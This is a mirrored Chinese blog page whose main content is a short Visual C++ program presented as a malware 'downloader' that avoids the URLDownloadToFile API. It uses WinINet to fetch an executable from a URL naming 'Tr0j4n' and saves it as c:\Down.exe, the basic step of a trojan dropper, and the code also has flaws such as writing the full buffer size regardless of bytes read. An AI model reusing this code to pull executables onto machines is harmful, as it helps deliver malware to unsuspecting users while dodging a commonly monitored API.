zoukankan      html  css  js  c++  java
  • VC实现下载者的代码,不通过URLDownloadToFile

    #include<windows.h>
    #include<wininet.h>
    #include<iostream.h>
    #pragma comment(lib,"wininet.lib")
    int main(void)
    {
    DWORD byteread=0;
    char buffer[100];
    memset(buffer,0,100);
    HINTERNET internetopen;
    internetopen=InternetOpen("Testing",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    if (internetopen==NULL){
    cout<<"Internet open failed!"<<endl;
    return;
    }
    HINTERNET internetopenurl;
    internetopenurl=InternetOpenUrl(internetopen,"http://hi.baidu.com/Tr0j4n/1.exe",NULL,0,INTERNET_FLAG_RELOAD,0);
    if (internetopenurl==NULL){
       cout<<"Internet open url failed!"<<endl;
       InternetCloseHandle(internetopen);
    }
    
    BOOL hwrite;
    DWORD written;
    HANDLE createfile;
    createfile=CreateFile("c:\\Down.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    if (createfile==INVALID_HANDLE_VALUE){
       cout<<"Create File failed!"<<endl;
       InternetCloseHandle(internetopenurl);
    }
    BOOL internetreadfile;
    while(1){
       internetreadfile=InternetReadFile(internetopenurl,buffer,sizeof(buffer),&byteread);
       if(byteread==0)
        break;
       hwrite=WriteFile(createfile,buffer,sizeof(buffer),&written,NULL);
       if (hwrite==0){
        cout<<"Write to file failed!"<<endl;
        CloseHandle(createfile);
       }
    }
    cout<<"Finished downloading!"<<endl;
    }
    
     
    
    
    
  • 相关阅读:
    深入理解HTTP协议及原理分析
    如何提高php应用的性能?
    PHP的网站主要攻击方式有哪些?
    五种常见的 PHP 设计模式
    排序算法之插入排序类
    排序算法之交换排序类
    Redis之Zset
    Redis之Set
    Redis之List
    Redis之Hash
  • 原文地址:https://www.cnblogs.com/zdxster/p/1945890.html
Copyright © 2011-2022 走看看